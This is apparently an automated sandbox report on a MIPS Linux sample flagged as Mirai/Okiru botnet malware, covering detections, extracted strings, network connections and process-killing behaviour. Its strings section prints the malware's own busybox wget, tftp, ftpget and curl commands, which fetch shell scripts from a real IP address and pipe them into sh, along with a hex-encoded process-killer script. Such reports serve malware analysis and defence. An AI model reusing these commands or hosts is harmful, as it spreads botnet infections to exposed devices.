Linux Analysis Report
mips.nn.elf

Overview

General Information

Sample name: mips.nn.elf
Analysis ID: 1579278
MD5: 45b234ab2b2aabd0f0127ef64f269fca
SHA1: efee1d43dad377da29ceaa3f9b840b731a902876
SHA256: 27dcc5075507db8ab039991a36a249aefbd8a3779c6a4a7549278f118cf97f22
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru
Score: 76
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Sample deletes itself
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes the "rm" command used to delete files or directories
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: mips.nn.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: mips.nn.elf ReversingLabs: Detection: 44%
Source: mips.nn.elf Virustotal: Detection: 40% Perma Link
Found strings indicative of a multi-platform dropper
Source: mips.nn.elf String: tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/login94.156.227.234malloc[start_pid_hopping] Failed to clone: %s
Source: mips.nn.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh94.156.227.233GET /dlr. HTTP/1.0
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:60030 -> 94.156.227.234:38242
Source: global traffic TCP traffic: 192.168.2.23:39022 -> 154.216.19.139:199
Sample listens on a socket
Source: /tmp/mips.nn.elf (PID: 6278) Socket: 0.0.0.0:38242 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 208.0.92.92
Source: unknown TCP traffic detected without corresponding DNS query: 214.196.235.55
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 174.23.2.124
Source: unknown TCP traffic detected without corresponding DNS query: 93.63.149.231
Source: unknown TCP traffic detected without corresponding DNS query: 123.32.4.30
Source: unknown TCP traffic detected without corresponding DNS query: 11.203.96.173
Source: unknown TCP traffic detected without corresponding DNS query: 91.229.173.73
Source: unknown TCP traffic detected without corresponding DNS query: 70.195.122.147
Source: unknown TCP traffic detected without corresponding DNS query: 13.158.49.221
Source: unknown TCP traffic detected without corresponding DNS query: 155.66.11.201
Source: unknown TCP traffic detected without corresponding DNS query: 120.231.120.245
Source: unknown TCP traffic detected without corresponding DNS query: 196.14.4.177
Source: unknown TCP traffic detected without corresponding DNS query: 136.230.34.0
Source: unknown TCP traffic detected without corresponding DNS query: 85.174.185.73
Source: unknown TCP traffic detected without corresponding DNS query: 27.17.238.116
Source: unknown TCP traffic detected without corresponding DNS query: 78.177.230.198
Source: unknown TCP traffic detected without corresponding DNS query: 208.0.92.92
Source: unknown TCP traffic detected without corresponding DNS query: 159.138.33.196
Source: unknown TCP traffic detected without corresponding DNS query: 218.54.217.57
Source: unknown TCP traffic detected without corresponding DNS query: 133.68.167.176
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 2.231.158.186
Source: unknown TCP traffic detected without corresponding DNS query: 118.74.225.63
Source: unknown TCP traffic detected without corresponding DNS query: 148.255.181.109
Source: unknown TCP traffic detected without corresponding DNS query: 166.31.80.82
Source: unknown TCP traffic detected without corresponding DNS query: 200.89.88.36
Source: unknown TCP traffic detected without corresponding DNS query: 137.215.134.187
Source: unknown TCP traffic detected without corresponding DNS query: 50.77.27.193
Source: unknown TCP traffic detected without corresponding DNS query: 103.14.162.23
Source: unknown TCP traffic detected without corresponding DNS query: 58.22.224.237
Source: unknown TCP traffic detected without corresponding DNS query: 73.212.116.100
Source: unknown TCP traffic detected without corresponding DNS query: 192.66.117.153
Source: unknown TCP traffic detected without corresponding DNS query: 184.179.58.251
Source: unknown TCP traffic detected without corresponding DNS query: 122.156.91.119
Source: unknown TCP traffic detected without corresponding DNS query: 169.222.158.237
Source: unknown TCP traffic detected without corresponding DNS query: 121.160.81.112
Source: unknown TCP traffic detected without corresponding DNS query: 219.172.83.35
Source: unknown TCP traffic detected without corresponding DNS query: 214.196.235.55
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 59.11.248.83
Source: unknown TCP traffic detected without corresponding DNS query: 102.133.25.115
Source: unknown TCP traffic detected without corresponding DNS query: 203.95.187.68
Source: unknown TCP traffic detected without corresponding DNS query: 53.65.84.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.185.41.210
Source: unknown TCP traffic detected without corresponding DNS query: 65.4.184.250
Source: unknown TCP traffic detected without corresponding DNS query: 64.123.213.208
Source: unknown TCP traffic detected without corresponding DNS query: 15.202.33.17
Source: mips.nn.elf String found in binary or memory: http://94.156.227.233/
Source: mips.nn.elf String found in binary or memory: http://94.156.227.233/curl.sh
Source: mips.nn.elf String found in binary or memory: http://94.156.227.233/lol.sh
Source: mips.nn.elf String found in binary or memory: http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 33606
Source: unknown Network traffic detected: HTTP traffic on port 33606 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktc
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh94.156.227.233GET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/mips.nn.elf (PID: 6316) SIGKILL sent: pid: 788, result: successful Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6316) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6316) SIGKILL sent: pid: 1664, result: successful Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6316) SIGKILL sent: pid: 2096, result: successful Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6316) SIGKILL sent: pid: 2102, result: successful Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6316) SIGKILL sent: pid: 6387, result: successful Jump to behavior
Source: classification engine Classification label: mal76.troj.evad.linELF@0/3@0/0
Enumerates processes within the "proc" file system
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/6397/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/6430/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/6432/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/6431/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/6434/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/6433/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/1477/cmdline Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/799/cmdline Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/6425/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/6424/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/6427/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/6426/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/6407/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/6429/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/6428/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/6409/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/6408/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/6384/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/6383/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/6386/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/6385/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/6387/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/6423/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/6422/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/6082/cmdline Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/1320/cmdline Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/6436/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/6435/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/6438/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6306) File opened: /proc/6437/status Jump to behavior
Executes the "rm" command used to delete files or directories
Source: /usr/bin/dash (PID: 6256) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.o3bRZX6L21 /tmp/tmp.OVeJZ0pFVr /tmp/tmp.cHcfetuI9Q Jump to behavior
Source: /usr/bin/dash (PID: 6257) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.o3bRZX6L21 /tmp/tmp.OVeJZ0pFVr /tmp/tmp.cHcfetuI9Q Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Sample deletes itself
Source: /tmp/mips.nn.elf (PID: 6278) File: /tmp/mips.nn.elf Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/mips.nn.elf (PID: 6278) Queries kernel information via 'uname': Jump to behavior
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-microblazeel
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /mips/usr/bin/qemu-mipsel
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: !/+V/mips/10 /usr/bin/mugshot!/usr/bin/xdg-open!/+V!/usr/bin/qemu-mipsel/usQ
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: !/usr/bin/2to3-2.7!/usr/bin/nproc1/dev/netR"/+V/mips/10!/usr/bin/tificc0!/usr/bin/aptdcon1/usr/bin/vmware-vgauth-smoketest
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sparc32plus
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-riscv32
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips64el
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: !/usr/bin/gpgparsemail!/usr/bin/sg_xcopy!/+V1/dev/btrfs-controlps/s10!/usr/bin/qemu-nios2!/usr/bin/tsort`
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /+Vmp-test-clipboard-2.0P!/usr/bin/sg_rdac1/usr/bin/bluetooth-sendto0!/usr/bin/pygettext2.7!/usr/bin/ciptool1/usr/bin/sha384sumps/10!/usr/bin/ptardiff!/usr/bin/qemu-tilegx1/usr/bin/avahi-resolve-host-name
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-alpha
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-s390x
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sh4eb
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: !/usr/bin/trial30!/usr/bin/lspgpot1/usr/bin/py3cleanips/s10!/usr/bin/strace0!/usr/bin/more1/usr/bin/os-proberps/s10!/usr/bin/fc-pattern!/usr/bin/mcookie1/usr/bin/bash/mips/10!/usr/bin/fprintd-delete!/usr/bin/esc-m1/usr/bin/qemu-sparc32plus
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /usr/bin/vmware-hgfsclient
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: (!/+V/mips/dev/loop40 /usr/bin/svcutil!/usr/bin/pack200!/usr/bin/whoV/mips/us1/dev/vcsa5/+V/mips/s10!/usr/bin/py3versions1/usr/bin/vmware-vgauth-cmd`!/usr/bin/readelf1/usr/bin/ntfsfallocates10!/usr/bin/zforce0!/usr/bin/tic1/usr/bin/lzmainfoips/s10!/usr/bin/ps2ps0!/usr/bin/skill!/usr/bin/stty/mips/us1P*!/+V:!/+V/mips/dev/vcs60 /usr/bin/dbus-launch1/usr/bin/vmware-toolbox-cmd`!/usr/bin/ppdpo1/usr/bin/systemd-hwdbs10!/usr/bin/pa-info!/usr/bin/pf2afm1/dev/loop3/+V/mips/s10!/usr/bin/ristretto!/usr/bin/pkcheck!/usr/bin/stringsmips/us1/dev/vcs6!/+V/mips/s10!/usr/bin/speaker-test1/usr/bin/x86_64-linux-gnu-nm`!/usr/bin/volname1/usr/bin/ippfindmips/s10!/usr/bin/qemu-ppc64le!/usr/bin/chfn1/usr/bin/pydoc3/mips/10!/usr/bin/tty0!/usr/bin/timeout1/usr/bin/desktop-file-edit
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-aarch64
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: !/+V/mips/dev/loop60 /usr/bin/viewres!/usr/bin/pax11publish1/usr/bin/lz4V/mips/s10!/usr/bin/numlockx!/usr/bin/ucs2any1/usr/bin/prezip-bins/s10!/usr/bin/users0!/usr/bin/koi8rxterm1/usr/bin/pastebinits/s10!/usr/bin/uuidparse!/usr/bin/qemu-riscv321/dev/loop5/+V/mips/s10!/usr/bin/xkbprint!/usr/bin/jsondiff1/usr/bin/quirks-handler10!/usr/bin/arm2hpdl!/usr/bin/man-recode1/usr/bin/debconf-shows10!/usr/bin/col50!/usr/bin/pycompile1/usr/bin/sg_unmapips/s10!/usr/bin/deallocvt!/usr/bin/factor1
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sh4
Source: mips.nn.elf, 6278.1.00007ffce1f9e000.00007ffce1fbf000.rw-.sdmp Binary or memory string: /tmp/qemu-open.k8PTfW
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-nios2
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: F!/+VU!/+V/mips/dev/cuse0 /usr/bin/grub-editenv1/usr/bin/vmware-xferlogs`!/usr/bin/gimp-2.101/usr/bin/rmiregistry/s10!/usr/bin/rdma0!/usr/bin/bootctl1/usr/bin/gnome-helps/s10!/usr/bin/showkey!/usr/bin/precat1/dev/agpgartV/mips/s10!/usr/bin/fonttosfnt!/usr/bin/gzexe1/usr/bin/xdg-icon-resource0!/usr/bin/gawk0!/usr/bin/eatmydata!/usr/bin/ntfscatmips/us1/dev/cuse!/+V/mips/s10!/usr/bin/sqlsharp1/usr/bin/strace-log-merge`!/usr/bin/mod!/usr/bin/tasksetmips/us1
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-microblaze
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /mips/pr!/var/run/irqbalance+V1/usr/bin/qemu-microblazeel0!/usr/bin/chardet3!/var/run/uuiddh /+V1/usr/bin/gio-querymodules
Source: mips.nn.elf, 6278.1.00007ffce1f9e000.00007ffce1fbf000.rw-.sdmp Binary or memory string: MPDIR%s/qemu-op
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /mips/usr/bin/qemu-microblazeel
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-cris
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-ppc64
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: !/usr/bin/fwupdtpmevlog!/usr/bin/mconfig1/usr/bin/mdoc-assembles10!/usr/bin/chgrp0!/usr/bin/eps2eps1/usr/bin/setupconips/s10!/usr/bin/xzmore0!/usr/bin/toe1/usr/bin/syndaemonps/s10!/usr/bin/xrefresh!/usr/bin/nc1/usr/bin/xfce4-screensaver-command!/usr/bin/alsatplg!/usr/bin/hp-plugin1/usr/bin/instmodshps/s10!/usr/bin/sha224sum!/usr/bin/xrdb1/usr/bin/vmware-hgfsclient0!/usr/bin/gatttool!/usr/bin/mimeopen1/usr/bin/sensible-editor
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mipsn32
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-ppc64le
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-ppc
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: "/+V/mips/dev/ttyS40 /usr/bin/qemu-alpha+V!/dev/ttyS5/+V/mips/us1`
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /+V/mips/dev/vcsa30 /usr/bin/qemu-mipsn32el!/usr/bin/pdfdetach/+V1/dev/vcsu3/+V/mips/s10!/usr/bin/glxgears!/usr/bin/notify-sendV1
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /usr/bin/vmware-toolbox-cmd
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-hppa
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: !/usr/bin/mktemp0!/usr/bin/mono-heapviz1/usr/bin/zgrep/mips/s10!/usr/bin/sg_safte!/usr/bin/traceroute61/dev/loop0/+V/mips/s10!/usr/bin/pbput0!/usr/bin/shuf1/usr/bin/setfaclmips/s10!/usr/bin/lsmem0!/usr/bin/ping1/usr/bin/x-www-browsers10!/usr/bin/free0!/usr/bin/pod2man1/usr/bin/qemu-xtensaebs10!/usr/bin/mousepad!/usr/bin/sudo1
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: !/usr/bin/nslookup!/usr/bin/rstart1/usr/bin/qemu-mips64els10!/usr/bin/batch0!/usr/bin/lodraw1
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /mips/dev/vmci
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /var/run/vmware
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /usr/bin/vmware-xferlogs
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: !/usr/bin/genisoimage1/usr/bin/qemu-microblaze`!/usr/bin/xfd1/usr/bin/ed+V/mips/s10!/usr/bin/ls0!/usr/bin/xwininfo1/usr/bin/ubuntu-bugs/s10!/usr/bin/ico0!/usr/bin/passwd1/usr/bin/qemu-or1kps/s10!/usr/bin/usbhid-dump!/usr/bin/ttfread1P
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips64
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: !/usr/bin/dpkg1/dev/sr00"/+V/mips/s10!/usr/bin/cloud-init-per!/usr/bin/sort11"/+V0."/+V/mips/dev/sr00 /usr/bin/base320!/usr/bin/x11perf1/dev/block/+V/mips/s10!/usr/bin/cd-it80!/usr/bin/vmhgfs-fuse1
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: !/usr/bin/xclipboard!/usr/bin/mkisofs1/usr/bin/run-one-until-failure0!/usr/bin/snice0!/usr/bin/qemu-m68k!/usr/bin/qemu-armebs/us1
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: !/usr/bin/qemu-hppa1/usr/bin/exo-preferred-applications1/dev/ttyS23+V/mips/s10!/usr/bin/xmodmap!/usr/bin/zdump1/usr/bin/foo2xqxmips/s10!/usr/bin/pdftocairo!/usr/bin/mutter1/usr/bin/upower/mips/s10!/usr/bin/locale-check!/usr/bin/cli-al1/usr/bin/col3/mips/r/bin/[0!/usr/bin/sg_bg_ctl1/usr/bin/qemu-aarch64_be1/usr/bin/avahi-browse-domains
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: 3"/+V/mips/dev/char0 /usr/bin/scsi_readcap!/usr/bin/gnome-session!/usr/bin/vmwarectrls/us!/dev/mem{"/+V/mips/us1/etc/motd"/+V/mips/dev/mem0
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /usr/bin/vmware-checkvm
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: !/usr/bin/hp-firmware!/usr/bin/gdmflexiserver1/usr/bin/purple-url-handler0!/usr/bin/gettext.sh!/usr/bin/xkbcomp1/usr/bin/qemu-armips/10!/usr/bin/zipgrep!/usr/bin/setpriv1/usr/bin/atril-previewer
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mipsel
Source: mips.nn.elf, 6278.1.0000562b2f180000.0000562b2f24c000.rw-.sdmp Binary or memory string: /usr/bin/vmware-vgauth-smoketest
